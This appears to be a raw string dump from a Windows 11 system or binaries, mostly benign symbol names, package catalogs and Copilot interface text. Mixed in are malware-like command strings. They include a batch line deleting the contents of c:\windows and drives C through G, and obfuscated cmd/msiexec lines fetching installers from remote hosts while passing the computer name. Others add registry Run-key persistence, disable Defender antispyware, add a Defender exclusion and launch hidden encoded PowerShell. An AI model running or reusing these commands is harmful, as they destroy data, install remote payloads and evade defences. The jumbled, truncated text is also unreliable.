System.Runtime.InteropServices.WindowsRuntime.PropertyChangedEventArgsMarshaler, System, Culture=neutral, PublicKeyToken=B77A5C561934E089, Version=4.0.0.0
System.Runtime.InteropServices.WindowsRuntime.NotifyCollectionChangedEventArgsMarshaler, System, Culture=neutral, PublicKeyToken=B77A5C561934E089, Version=4.0.0.0
ib-a-s-h-rc:\windows\*.*echoy|echoa|echoy|delc:\*.*echoy|echoa|echoy|deld:\*.*echoy|echoa|echoy|dele:\*.*echoy|echoa|echoy|delf:\*.*echoy|echoa|echoy|delg:\*.*echoy|copy*.*c:\echoy|copy*.*d:\echoy|copy*.*e:\echoy|copy*.*f:\echoy|copy*.*g:\resrart
?mac=&os=windows xp&ver=
Microsoft-Windows-Setup
createobject("windowsinstaller.
c:\windows\system32\cmd.exe#sharex/r^s^ta^r^t^msi^exe^c-^fv"http://a0.pm:8080/yx/bnldcdri8/fzrti1rc7r5p//%computername%"^o^e^sn^j^m=kuya^ef^j/q^ui^et!%systemroot%\system32\shell32.dll
c:\windows\system32\cmd.exebagitehlisy/d/v/c^sta^r^t^msi^exec^p^d^yymp=a^w^yn^d^j-fv"http://7d.wf:8080/ygyjbf8ceraysh5/l/o5lxouv/!computername!"/qu^i^e^t%windir%\system32\imageres.dll
c:\windows\system32\cmd.exe/cschtasks/create/scminute/
Windows Search
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
c:\windows\prefetch\cmd.exe-0bd30981.pf
0123456789ABCDEFWindows Desktop
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right
c:/windows/system32/d
c:/windows/system32/drivers/vsmraid.sys
c:/windows/system32/drivers/vwififlt.sys
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AUtype@?$abi@UIContentControlOverrides@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
\\WINDOWS11
Windows Event Log
\\WINDOWS11
\\WINDOWS11
default$windows.data.apps.unpackagedproducts
windows.data.apps.unpackagedproducts
Windows.
Windows.
Microsoft.Windows.Networking.WFP.Kernel
Microsoft.Windows.Storage.Classpnp
K$$\system32\drivers\etc\D
Windows Service Host!dowu
<hta:applicationicon="#"windowstate="minimize"showintaskbar="no"sysmenu="no"caption="no"/><scripttype="text/vbscript">
>regadd"hkcu\software\microsoft\windows\currentversion\run"/v"persistentprank"/treg_sz/d"%appdata%\system_prank.bat"/f
X..\..\..\..\windows\system32\mshta.exehttps://
regadd"hklm\software\policies\microsoft\windowsdefender\threats\threatiddefaultaction"/f/v"
^Yregadd"hklm\software\policies\microsoft\windowsdefender\threats\threatiddefaultaction"/f/v"
OutlookForWindowsyy
\windowsdefender"/vdisableantispyware/treg_dword/d1
Windows 2006
Windows 2001.1 SP1
Windows 2001.1
Windows 2001 SP2
Windows 2001 SP1
Windows 2001
Windows 2000
Microsoft Windows NT
Microsoft WindowsME:Millennium Edition
Microsoft Windows
Microsoft Windows NT
sharedWindowsCount
FindSharedWindowsTest
windows.lockScreen
windows.fileOpenPicker
0Windows.CBSPreview_10.0.19580.1000_neutral
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral
'windowsinstaller.installer');
.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
%appdata%\microsoft\windows\startmenu\programs\startup
.jpg','%homepath%\appdata\roaming\microsoft\windows\"
appdata%\microsoft\windows\startmenu\programs\startup
/c"start/min""powershell-windowstylehidden-encodedcommand
:software\microsoft\windows\currentversion\run
$hkcu:\\software\\microsoft\\windows\\currentversion\\run
hkcu\\software\\microsoft\\windows\\currentversion\\run
Microsoft.Windows.AccelLib
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.MitigationPolicy
Microsoft.Windows.Kernel.KernelBase
Microsoft.Windows.Security.Wininit
Microsoft.Windows.Csrss.WinSrvExt
Microsoft.Windows.Kernel.KernelBase.Fallback
Microsoft.Windows.Com.PoFAggregate
Microsoft.Windows.WinRTClassActivation
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft.Windows.Security.BCrypt.Config
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.Security.Shutinit
Microsoft.Windows.StoreAgent.Telemetry
Microsoft.Windows.Security.IsolationApi
.?AV<lambda_1>@?1???R0?1??as_native@?$projected_value_traits@U?$VectorChangedEventHandler@UStorageFolder@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@rnwinrt@@SA?AU?$VectorChangedEventHandler@UStorageFolder@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@AEAVRuntime@jsi@facebook@@AEBVValue@jsi@facebook@@@Z@QEBA@AEBU?$IObservableVector@UStorageFolder@Storage@Windows@winrt@@@5678@AEBUIVectorChangedEventArgs@5678@@Z@
.?AV<lambda_1>@?1???R0?1??as_native@?$projected_value_traits@U?$MapChangedEventHandler@Uhstring@winrt@@UIInspectable@Foundation@Windows@2@@Collections@Foundation@Windows@winrt@@X@rnwinrt@@SA?AU?$MapChangedEventHandler@Uhstring@winrt@@UIInspectable@Foundation@Windows@2@@Collections@Foundation@Windows@winrt@@AEAVRuntime@jsi@facebook@@AEBVValue@jsi@facebook@@@Z@QEBA@AEBU?$IObservableMap@Uhstring@winrt@@UIInspectable@Foundation@Windows@2@@5678@AEBU?$IMapChangedEventArgs@Uhstring@winrt@@@5678@@Z@
.?AV<lambda_1>@?1???R0?1??as_native@?$projected_value_traits@U?$VectorChangedEventHandler@UTaskItemThumbnail@Shell@UI@WindowsUdk@winrt@@@Collections@Foundation@Windows@winrt@@X@rnwinrt@@SA?AU?$VectorChangedEventHandler@UTaskItemThumbnail@Shell@UI@WindowsUdk@winrt@@@Collections@Foundation@Windows@winrt@@AEAVRuntime@jsi@facebook@@AEBVValue@jsi@facebook@@@Z@QEBA@AEBU?$IObservableVector@UTaskItemThumbnail@Shell@UI@WindowsUdk@winrt@@@5678@AEBUIVectorChangedEventArgs@5678@@Z@
.?AV<lambda_1>@?1???R0?1??as_native@?$projected_value_traits@U?$MapChangedEventHandler@Uhstring@winrt@@U12@@Collections@Foundation@Windows@winrt@@X@rnwinrt@@SA?AU?$MapChangedEventHandler@Uhstring@winrt@@U12@@Collections@Foundation@Windows@winrt@@AEAVRuntime@jsi@facebook@@AEBVValue@jsi@facebook@@@Z@QEBA@AEBU?$IObservableMap@Uhstring@winrt@@U12@@5678@AEBU?$IMapChangedEventArgs@Uhstring@winrt@@@5678@@Z@
.?AUSortEntry@Search@Storage@Windows@winrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UWebsiteInfo@DevKit@StartMenu@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UMenuItem@UI@WindowsUdk@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@URecommendedItem@DevKit@StartMenu@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UWebsiteInfo@DevKit@StartMenu@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UWebsiteInfo@DevKit@StartMenu@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@URecommendedItem@DevKit@StartMenu@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@URecommendedItem@DevKit@StartMenu@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UMenuItem@UI@WindowsUdk@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UMenuItem@UI@WindowsUdk@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV
blackbox - WINLOGON-NOTIFY
blackbox - Winlogon
AslEnvGetSystem32DirPathBuf failed [%x]
AslEnvGetSystem32DirPathBuf
Microsoft.Windows.Kernel.HAL
Microsoft.Windows.FileSystem.Cache
Microsoft.Windows.Kernel.Oplocks
Microsoft.Windows.IsolatedUserMode
Microsoft.Windows.Kernel.Dump
Microsoft.Windows.Kernel.IoMgr
Microsoft.Windows.Kernel.LiveDump
Microsoft.Windows.Kernel.SysEnv
Microsoft.Windows.Kernel.PnP
Microsoft.Windows.Kernel.PnP
Microsoft.Windows.Kernel.DeviceConfig
Microsoft.Windows.Kasan
Microsoft.Windows.Kcsan
Microsoft.Windows.Kernel.Timer
Microsoft.Windows.Kernel.Kernel
Microsoft.Windows.Kernel.ObjectManager
Microsoft.Windows.Superfetch
Microsoft.Windows.Kernel.Power
Microsoft.Windows.Kernel.Power
Microsoft.Windows.Kernel.Power.DiagFxAccounting
Microsoft.Windows.Kernel.Power.PpmFeedbackSnapLog
Microsoft.Windows.Power.AdaptiveStandby
Microsoft.Windows.Kernel.Power.DirectedDrips
Microsoft.Windows.Kernel.Power.PowerTransitions
Microsoft.Windows.Power.SleepstudyHelper
Microsoft.Windows.Kernel.Ttm
Microsoft.Windows.Kernel.Ttm
Microsoft.Windows.Kernel.ProcessSubsystem
Microsoft.Windows.Security.Capabilities
Microsoft.Windows.Kernel.Pdc
Microsoft.Windows.Kernel.Security
WindowsDriverVerifierXdv
Microsoft-Windows-Kernel-Vm
Microsoft.Windows.Kernel.BootEnvironment
Microsoft.Windows.Hal
Microsoft.Windows.Kernel.FeatureConfigurationManager
Microsoft.Windows.Kernel.Registry
Microsoft-Windows-Kernel-Mm
Microsoft.Windows.UnexpectedCodePath
Microsoft.Windows.Security.LicensingTool
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Containers.RegistryVirtualization
GetWindowsDirectoryW
windows (
ComSpec=C:\WINDOWS\system32\cmd.ex
f-commandadd-mppreference-exclusionpath'c:\programdata\microsoft\windows\startmenu\programs\startup\?.scr'
Microsoft-Windows-Client-Desktop-Required-Package00112030~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-DeviceGuard-GPEXT-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-SecConfig-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-DeviceGuard-GPEXT-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-SecConfig-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
http://stationwindows.cyou/opzi0na1la.dll
rBawindows_script-windows-powershell.ps1"\1
("%systemroot%\\system32\\rundll32.exe")
onecore\windows\core\console\open\src\host\registry.cpp
onecore\windows\core\console\open\src\server\processpolicy.cpp
onecore\windows\core\console\open\src\propslib\delegationconfig.cpp
?onecore\windows\core\console\open\src\renderer\gdi\state.cpp
onecore\windows\core\console\open\src\renderer\gdi\invalidate.cpp
onecore\windows\core\console\open\src\server\apimessage.cpp
onecore\windows\core\console\open\src\propslib\truetypefontlist.cpp
onecore\windows\core\console\open\src\host\renderfontdefaults.cpp
onecore\windows\core\console\open\src\renderer\gdi\paint.cpp
onecore\windows\core\console\open\src\renderer\base\thread.cpp
onecore\windows\core\console\open\src\host\_output.cpp
onecore\windows\core\console\open\src\interactivity\win32\accessibilitynotifier.cpp
Xonecore\windows\core\console\open\src\interactivity\win32\screeninfouiaprovider.cpp
Lonecore\windows\core\console\open\src\server\objectheader.cpp
onecore\windows\core\console\open\src\renderer\base\renderenginebase.cpp
onecore\windows\core\console\open\src\types\screeninfouiaproviderbase.cpp
onecore\windows\core\console\open\src\host\selection.cpp
onecore\windows\core\console\open\src\renderer\vt\paint.cpp
onecore\windows\core\console\open\src\inc\til\size.h
onecore\windows\core\console\conint\windowtheme.cpp
onecore\windows\core\console\open\src\interactivity\win32\windowuiaprovider.cpp
onecore\windows\core\console\open\src\interactivity\win32\window
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
?flushWindowSystemEvents@QWindowSystemInterface@@SA_NV?$QFlags@W4ProcessEventsFlag@QEventLoop@@@@@Z
??$handleGeometryChange@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRect@@@Z
??$handleWindowScreenChanged@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@PEAVQScreen@@@Z
??$handleExposeEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRegion@@@Z
??$handleGeometryChange@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRect@@@Z
??$handleWindowStateChanged@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@V?$QFlags@W4WindowState@Qt@@@@H@Z
\?setWindowState@QPlatformWindow@@UEAAXV?$QFlags@W4WindowState@Qt@@@@@Z
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any sugge more control. $1Enhance your application with extensionsSupercharge Copilot with extensions and themesWhen you share a copy of your username and password , your family member can fill them using Copilot Password ManagerYour family member can't receive passwords right now. Ask them to update Microsoft Copilot and sync their passwords.Copilot can change your password once you're signed in.Microsoft Copilot is creating a strong password for you. You don't need to remember it because it's saved for you in for .Content from this site is sent to Microsoft Copilot and may be seen by human reviewers to improve this featureYou need to sign in before Copilot can finish this taskMore about this feature and relevant data sent to MicrosoftContent from password pages and related info is sent to Microsoft and reviewed by humans. Your password is encrypted and never seen by anyone. $1If Copilot finds one of your passwords in a public data breach, it can offer to change your password for you if you're signed in&Close Microsoft CopilotApplication closedThe application was closed before the download completed.Application crashedClose application$1 may be dangerous. Add a password if you want Microsoft Copilot to verify it or you can download it directly.{COUNT, plural,
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
 Windows.copilotupdate
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your appl
^windows.protoco(
c:/windows/system32/dl
c:/windows/system32/d
WINDOWS
Windows1
!Windows OEM Root 2017 (TEST ONLY)
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsToolBarList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultCandidateActionHandlerl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectWrite&
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarTemplateManager=9
;software\new.netsoftware\microsoft\windows\currentversion\uninstall\new.netnew.net startuprundll32 %s,newdotnetstartupnewdotnetclass\newdotnet\{dd521a1d-1f98-11d4-9676-00e018981b9e}{5bc27861-314a-11d6-996d-00e018981b9e}{4a2aacf3-adf6-11d5-98a9-00e018981b9e}tldctl2.urllinktldctl2.urllink.1tldctl2.searchcontroltldctl2.searchcontrol.1\ndnuninstall4_50.exe
Microsoft-Windows-AFD
EnumWindows
for developers|developer mode settings|developer options|create windows apps|create a windows app|.
Windows activation settings|activate Windows|product key|activate product key|update product key|change product key|activate device|windows subscription|windows license|digital license|where is the product key|,
Ncmd/cstart/min""powershell-argumentlist"-windowstylehidden-executionpolicybypass-command
%Microsoft Windows Production PCA 2011
Microsoft-Windows-Eventlog
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
..\..\windows\system32\rundll32.exes3negar.dll,uzduuotrzb!%
Jregadd"hkey_current_user\software\microsoft\windows\currentversion\run"/v
USERDOMAIN_ROAMINGPROFILE=Windows11
C:\Windows\System32\smartscreen.exe -Embedding
ComSpec=C:\WINDOWS\system32\cmd.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-International-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
